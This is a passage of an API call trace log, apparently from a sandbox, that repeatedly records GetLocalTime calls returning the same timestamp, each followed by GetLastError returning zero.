wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.889] GetLastError () returned 0x0 [0024.889] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.890] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.890] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.891] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.891] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.892] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.892] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.893] GetLastError () returned 0x0 [0024.893] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, wDay=0x11, wHour=0x0, wMinute=0x2f, wSecond=0x30, wMilliseconds=0x29d)) [0024.894] GetLastError () returned 0x0 [0024.894] GetLocalTime (in: lpSystemTime=0x18ff28 | out: lpSystemTime=0x18ff28*(wYear=0x7e4, wMonth=0x6, wDayOfWeek=0x3, 